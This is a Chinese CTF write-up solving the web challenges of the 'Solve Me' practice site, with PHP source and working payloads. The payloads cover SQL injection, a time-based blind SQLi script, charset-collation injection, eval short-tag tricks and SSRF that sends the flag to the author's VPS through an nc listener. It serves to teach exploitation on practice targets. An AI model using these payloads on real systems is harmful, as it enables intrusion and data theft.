Solve Me解题记录

前言

前一阵子关注点在实战上,现在又回归CTF学习套路了,这个网站http://solveme.peng.kr本来做了一半的题目,今天终于把他补完了,学到了炒鸡多的东西啊~

正文

Warm up

给出来一个密文和一段代码

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

    error_reporting(0);
    require __DIR__.'/lib.php';

    echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '
'
; highlight_file(__FILE__);

这题直接反过来写代码即可

 
    $s = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
    echo hex2bin(strrev(bin2hex(base64_decode($s))));

Bad compare

 
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['answer'])){

        if($_GET['answer'] === '尊찢悼嚴隆'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }

        echo '
'
; } highlight_file(__FILE__);

这题可以知道我们要传进get参数,但是===后面的内容不在可见的ASCII码范围内于是我们抓包看一下
找到对应字符串的ASCII码,我们知道单引号url编码为%27,两个27之间的就是那串字符串的ASCII码,
直接构造payload:?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc,得到flag

Winter sleep


    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['time'])){

        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';

        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';

        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';

        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }

        echo '
'
; } highlight_file(__FILE__);

这一个题目我们运用了int的强制转换科学计数法
这个题目先使用科学计数法绕过前面的两个time以及is_numeric,最后通过int的阶段获取到flag,因为60 * 60 * 24 * 30 * 2=5.184*10^6
现在的payload:?time=5.185e6,sleep大约5秒后出现flag
为什么出现这样的效果我们来测试一下

 $time = '5.185e6';
 $num1 = 60 * 60 * 24 * 30 * 2;
 $num2 = 60 * 60 * 24 * 30 * 3;
 var_dump(!is_numeric($time));
 var_dump($time>$num1);
 var_dump($time<$num2);
 var_dump((int)$time);

bool(false)
bool(true)
bool(true)
int(5)

Hard login

一开始上手这一个题目,发现什么头绪也没有,因为他的那些参数我一个都不知道,发现url有点奇怪后来就尝试着直接去访问index.php,网页顿了一下又回到了login.php,怀疑存在302跳转,于是抓包看一下,果然重定向到login.php
但同时我们也得到flag

还有第二种方法,直接curl一下看情况
P21ZSH.md.png

URL filtering

 
    error_reporting(0);
    require __DIR__."/lib.php";

    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__); 

这一个题目我们可以发现存在parse_url函数,这个函数有个漏洞可以用多个/符号去绕过,然后就不会执行die("no hack");转而执行了下面的语句。
这里有篇方方土学长写过的总结:点我
构造的payload:///?do_you_want_flag=yes
后来发现还有官方的解法,就是利用描点去绕过,从来都不知道还可以这样搞
http://urlfiltering.solveme.peng.kr/?%23&do_you_want_flag=yes

Hash collision


    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['foo'], $_GET['bar'])){

        if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
            die('Too long');
        }

        if($_GET['foo'] === $_GET['bar']){
            die('Same value');
        }

        if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
            die('Different hash');
        }

        echo $flag, '
'
; } highlight_file(__FILE__);

这种题目做了很多遍了,就是利用数组返回NULL去绕过,构造下面的payload

?foo[]=1&bar[]=2

Array2String


    error_reporting(0);
    require __DIR__.'/lib.php';

    $value = $_GET['value'];

    $username = $_GET['username'];
    $password = $_GET['password'];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);

        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '
'
, PHP_EOL; echo $flag, '
'
; } } highlight_file(__FILE__);

发现要跟./secret.passwd路径下的内容一样,先去里面看一下,发现字符串simple_passw0rd
这个题目get到了一个新的知识点

就是chr()这个函数再ASCII码超过255的时候会自动取余,我们利用这个特性去拼接username的字符串,于是写了个Python脚本构造payload:

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

s = '''15th_HackingCamp'''
dit = []
payload = ''


for i in s:
    dit.append((ord(i)+256))
#print dit 

for j in dit:
    payload += ('value[]='+str(j)+'&')

print payload+'password=simple_passw0rd'

得到payload:

?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

最后得到flag

Replace filter


    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['say']) && strlen($_GET['say']) < 20){

        $say = preg_replace('/^(.*)flag(.*)$/', '${1}${2}', $_GET['say']);

        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo 'What the f**k?';
        }

        echo '
'
; } highlight_file(__FILE__);

这题题目漏洞出现在正则匹配那里
根据我们查到的资料,因为以’^’开头,以’$’结尾的只能匹配一行,也就是说我们可以用%0a/url编码下的换行/去绕过
于是我们可以构造payload:?say=%0Agive_me_the_flag
得到flag


    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['url'])){
        $url = $_GET['url'];

        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }

        $parse = parse_url($url);
        if(!preg_match('/^https?$/i', $parse['scheme'])){
            die('Not allowed scheme');
        }

        if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
            die('Not allowed host');
        }

        if(!preg_match('/\/plz_give_me$/', $parse['path'])){
            die('Not allowed path');
        }

        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if($socket === false){
            die('Failed to create socket');
        }

        $host = gethostbyname($parse['host']);
        $port = is_null($parse['port']) ? 80 : $parse['port'];

        if(socket_connect($socket, $host, $port) === false){
            die('Failed to connect');
        }

        $send = "HEAD /".$flag." HTTP/1.1\r\n".
            "Host: ".$host.":".$port."\r\n".
            "Connection: Close\r\n".
            "\r\n\r\n";
        socket_write($socket, $send, strlen($send));

        $recv = socket_read($socket, 1024);var_dump($recv);
        if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
            die('Not allowed response');
        }

        socket_close($socket);

        echo 'Okay, I sent the flag.', '
'
; } highlight_file(__FILE__);

跟上面一题类似,只是对于host有了过滤,这里我们用 ip2long() 函数将网络地址转化为数字地址,这样就可以绕过.的ip过滤



echo ip2long("120.78.164.84");
?>

Payload :
givemealink2.solveme.peng.kr?url=http://2018419796:8080/plz%1agive%1ame
然后在服务器上面开监听

 nc -lvnp 8080

就可以接收到返回的flag


    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['url'])){
        $url = $_GET['url'];

        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }

        if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
            die('Not allowed URL');
        }

        $parse = parse_url($url);
        if($parse['path'] !== '/plz_give_me'){
            die('Not allowed path');
        }

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);

        echo 'Okay, I sent the flag.', '
'
; } highlight_file(__FILE__);

这里发现这段代码的逻辑是用get方法接受一个参数url,而这个参数要经过三次的检测,第一次会把含有下划线,空白字符过滤掉,第二次过滤检验的是是否满足url的格式,而且必须含有$_SERVER['HTTP_HOST']里面的内容也就是http://givemealink.solveme.peng.kr/,而第三次则判断路径下是否含有plz_give_me这个字段,突然发现这个东西跟第一个过滤下划线的自相矛盾,查一下PHP文档,问题出现在parse_url这个函数里

url

    The URL to parse. Invalid characters are replaced by _.

非法字符在这个函数下会自动替换成下划线,测试一下


   $url = urldecode("http://0verwatch.top/%1atest%1a.php");
   var_dump(parse_url($url));

?>


array(3) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(13) "0verwatch.top"
  ["path"]=>
  string(11) "/_test_.php"
}

发现这时候就可以利用这一点成功绕过第一个过滤,以及满足第三个过滤
这时候考虑第二个过滤,继续查看parse_url这个函数文档你会发现他有这样一个例子,


$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));

这也是url的一种写法,现在感觉很少用在http服务上感觉在ssh连接自己的服务器上面用的多,因为一般的url都是这样的

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

但是平常我们连接自己服务器的时候可以这样ssh root@vps_ip 然后输入密码,这应该也是这种类型的
Solve Me解题记录_第1张图片

然后这里的话相当于username还有password没有任何实际作用,纯粹就是用来写那个$_SERVER[‘HTTP_HOST’]来进行绕过的
payload:http://givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame
我们再测试一下,结果完全符合我们绕过的要求

array(4) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(13) "120.78.164.84"
  ["user"]=>
  string(59) "givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr"
  ["path"]=>
  string(12) "/plz_give_me"
}

然后就利用那一个curl_setopt函数往我们这边服务器发送flag了,vps这边监听80端口,出现flag

Hell JS

点开发现存在一大堆Js混淆代码,解码一看发现有一堆数字很可疑
Solve Me解题记录_第2张图片

"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"

写个小脚本解一下

dit = ["4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"
]
s = ""
for i in dit:
    s = s + chr(int(i))

得到flag

// good job!

let flag = prompt("what is the flag?");

if (flag === "") {

    alert("plnput");

} else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") {

    alert("bingo");

} else {

    alert("wrong");

}

AntiSQL


    // It's 'Anti SQLi' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    $id = $_GET['id'];
    $pw = $_GET['pw'];

    if(isset($id, $pw)){
        preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) and die('Hack detected');

        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');

        $result = mysqli_fetch_array(
            mysqli_query(
                $con, 
                "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
            )
        );
        mysqli_close($con);

        if(isset($result)){
            if($result['no'] === '31337'){
                echo $flag;
            }else{
                echo 'Hello, ', $result['id'];
            }
        }else{
            echo 'Login failed';
        }
        echo '
'
; } highlight_file(__FILE__);

简单说一下这段代码的意思,就是传进两个参数,然后进行过滤,然后进行数据库的查找,查找的结果里面如果含有31337的就可以成功输出flag了

这段代码里面有一个很吓唬人的过滤准则,但是其实里面存在小漏洞
首先过滤了单引号啥的,注入一个单引号行不通,但是我们可以去掉一个单引号,如果要正则匹配\的话,正确的写法应该是 |\\\|也就是说,反斜杠没有被过滤。这样我们可以注入反斜杠把id的第二个单引号给搞掉。这样一来就可以注入了
第二点就是他那个union[\s\xA0]+select把所有非空字符都过滤掉了,所以说直接上union select是不太行的,但是我们可以用union all select去绕过
然后是注释的问题,因为正则里面明确把#,还有--加上空字符过滤掉了,那我们用--%1a注释也是可以的
还有因为这里order by 也过滤了,只能手动去测试列数

?id=\&pw=union all select 1 from antisqli --%1A

发现回显的是Login failed说明列数不对,再继续试

?id=\&pw=union all select 1,2 from antisqli --%1A

还是login failed,再继续试

?id=\&pw=union all select 1,2,3 from antisqli --%1A

这时候回显Hello了,代码逻辑跳到第一个if条件里面,说明有3列
然后我们直接上payload
?id=\&pw=union all select 31337,2,3 from antisqli --%1A 直接出flag
这里的语句在数据库里大概是这样的

SELECT * FROM `antisqli` WHERE `id`=' \' and `pw` = md5(' union all select .... from ... --%1a

重点是union all前面的语句为空,直接执行后面的语句,这太灵活了,又学到了

Name check

 
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    if(isset($_GET['name'])){

        $name = $_GET['name'];
        if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
            echo 'Not allowed input';
            goto quit;
        }

        $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
        $res = $sql->query("
            SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in'
        ;");
        if($res === false){
            echo 'Database error';
            goto quit;
        }

        $row = $res->fetchArray(SQLITE3_NUM);
        if(
            $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
            array_sum($row) !== 4 
        ){
            echo 'Auth failed';
            goto quit;
        }

        echo $flag;

    quit:
        echo '
'
; } highlight_file(__FILE__);

我没玩过sqlite,但是感觉这里一定要满足admin这个东西,因为query函数后面的东西,但是这里的过滤是正整一个词的过滤,但是我们可以用sqlite的连接词||去实现绕过,但是对于mysql字符串的拼接只能用concat函数去拼接
所以最后的payload:ad'||'min

I am slowly


    // It's 'I am slowly' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
    $answer = $_GET['answer'];

    if(isset($answer)){
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');

        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT `count` FROM `{$table}`;")
        );
        if(!isset($result)){
            mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
            $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
            mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

        }elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        }

        $randtime = mt_rand(1, 10);
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        );
        if(isset($result) && $result['answer'] === $answer){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo $flag;
        }else{
            mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
            echo 'Go fast';
        }

quit:
        mysqli_close($con);
        echo '
'
; } highlight_file(__FILE__);

这个题目也是很骚,我第一次遇见这一种类型的题目,利用来了php以及mysql之间的延时关系去绕过那一个可恶的12.。。
但是执行过程过于缓慢啊,主要是两个延时太过耗时
概述一下这题目的意思传参进去之后,如果没有对应的表就根据你的ip创建一个表,并且这个表里面含有一个名为COUNT的字段,初始值为1,后面就一直往这里面的COUNT+1,如果到12的话就会把表删掉重新再新建一个表,所以关键是他的逻辑顺序出了错误。

判断count的值–>执行SQL语句–>加count值

这个逻辑在执行语句的时候有问题,当count=11的时候,我们执行一个sleep()时间很长的语句,该请求就会长时间停在 执行SQL语句 流程中,如果此时我们再发起一次正常请求,判断count值还是11,执行完SQL语句之后count+1=12,再当上一条SQL语句执行完毕后count再加1等于13,于是之后就可以无限制提交请求了,然后在利用盲注来获得answer,这确实骚气
小脚本,最好还是把header啥的都弄进去,毕竟是靠ip建表的,这个东西跑得很慢不值得,而且一直都跑的错的答案,QAQ

import requests

keys = '0123456789abcdef'
header = {
"Host": "iamslowly.thinkout.rf.gd",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
      "Accept-Encoding":"gzip, deflate",
      "Referer": "http://iamslowly.thinkout.rf.gd/",
    "Cookie": "__test=4e8126e93f7b5a4448c7e3c1f0b7853e",
    "Upgrade-Insecure-Requests":"1",
      "Cache-Control": "max-age=0"
}
payload = ''
for i in range(1,1000):
    for j in keys:
        url = "http://iamslowly.thinkout.rf.gd/?i=1&answer=' or if((answer like '{}%'),sleep(30),2)%23".format(payload + j)
        try:
            content = requests.get(url,headers=header,timeout=29).content
            #print(content[:10])
            print '[+]Waiting!'
        except:
            payload += j
            print(payload)
            break

Cheap Lottery

这个题目一开始用扫描器扫一下发现里面存在robots.txt打开发现

User-agent: *
Disallow: /backup/

进去backup发现几个文件

一个数据库文件,还有一份源码

CREATE TABLE `lottery` (
  `name` char(30) NOT NULL,
  `time` int(4) NOT NULL,
  `nums` char(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

ALTER TABLE `lottery`
  ADD UNIQUE KEY `name` (`name`);

作为菜鸟感觉是SQL注入,但无从下手,知道发现原来方方土学长早就写过这题的题解https://www.anquanke.com/post/id/101939
这波骚操作还是6,运用了字符集去绕过

而且p神也发过类似的文章(tql,QAQ)
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

先讲一下这一段代码的意思,发现骆骆大佬早就做过这题而且流程图都画好了,我就直接贴图吧。。简单粗暴
Solve Me解题记录_第3张图片

我们要利用的点就是这一段代码

$nums = preg_replace("/[a-zA-Z\[\]\=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");

这段代码往数据库里面添加数据,只要我们往里面添加自己规定的值,然后再在另一处以同一ip地址进行访问(不购买)不就可以直接进到check模块了。。
意思就是这样
开始数据库里面是这样

INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69,69,69,69,69');

后来我们构造,使数据库一开始就存在这样的值,我们下一次访问的时候就名正言顺的是买正确了

INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69'),('admin1.1.1.1','$time','69,69,69,69,69'),('guest_1.1.1.1','$time','69,69,69,69,69')#',69,69,69,69');

就可以名正言顺地使bingo这个值等于5,然后就输出flag了,也就是进入下面这段代码


                $bingo = 0;
                $nums_admin = explode(",", $row_admin['nums']); // admin_*
                $nums_guest = explode(",", $row_guest['nums']); // guest_*
                for($i = 0; $i < 5; ++$i){
                    for($k = 0; $k < 5; ++$k){
                        if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
                            ++$bingo;
                            unset($nums_guest[$k]);
                            break;
                        }
                    }
                }
                unset($nums_admin, $nums_guest);

                if($bingo == 5){ // correct all
                    $msg = "Perfect! The flag is {$flag}.";

但是我们要网关键的代码注入自己想要的东西,就必须得绕过字母这个步骤,这里开始及牵涉到字符集的问题了。

总结一下那几篇博客看到的点
MySQL中的字符集转换过程:

1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results

也就是:

character_set_client -> character_set_connection -> 内部操作字符集

而且p神说的在MySQL里面的utf-8是阉割版,最长只支持三个字节,
如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。
但是这个点跟这题无关,这个点用在让数据库误认为该字母不存在直接舍弃掉的情况

第二个点是
mysql 有两个支持 unicode 的 character set:

ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。

而在本题目中,sql文件中显示
ENGINE=InnoDB DEFAULT CHARSET=utf8;
很显然这里是utf8,而我们一般数据库默认使用的是utf8_general_ci,而ci是指case insensitive的缩写,即大小写不敏感

这样也表明了为什么平常我们在cmd命令行下写数据库命令不区分大小写了

根据方方土学长所说的,这种模式由于diacritic ordering的排序问题使得读音符号最后被认定为英文字母

也就是对于utf8_general_ci,认为以下样例是相等的

Ä = A
Ö = O
Ü = U

而且还给出了这个超级腻害的表
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
表格上方是 unicode 编码,下方是 utf8 编码

然后构造一下admin还有guest

 admin: %C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1
 guest: %C4%9D%C3%B9%C3%A8%C5%9B%C5%A3

Payload

 
    $vps_ip = '你的vps地址';
    $time = time();
    $url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1_".$vps_ip."','{$time}','1,1,1,1,1'),('%C4%9D%C3%B9%C3%A8%C5%9B%C5%A3_".$vps_ip."','{$time}','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
    echo $url;

然后在你的vps上再curl一下就得到flag了

Solve Me解题记录_第4张图片

Check via eval


    error_reporting(0);
    require __DIR__.'/lib.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '$exam.'">Click here';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo 'Not allowed length';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo 'Not allowed keyword';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo 'What\'s going on?';
    }

    echo '
'
; highlight_file(__FILE__);

这段代码主要利用的是if条件里面的eval函数直接输出flag,前提是这里过滤十分强大,把所有可以执行的函数全部过滤,这时候只能利用开发的一个知识,就是,可以直接把flag里面的内容直接输出来,这东西我也是在学YII框架的时候学会的。
可以直接看一下文档里面有这样的一句话

= expression ?> This is a shortcut for " echo expression ?>"

这相当于说这是一个echo的缩写版
Solve Me解题记录_第5张图片
另外呢这两句话表明了php5.4以后都存在这样的缩写形式
我们现在还要考虑的是如何绕过长度的问题以及不要在payload里面存在flag这个词,所以最后的payload是

?flag=$a='blag';$a{0}='f';?>11111111111111111;=$$a;?>

这里前面的?>的是利用了html里面的嵌套PHP的语法,同时也为了后面的可以顺利执行,中间的1就是为了满足strlen这个函数从而执行下面的代码

你可能感兴趣的:(CTF,Web)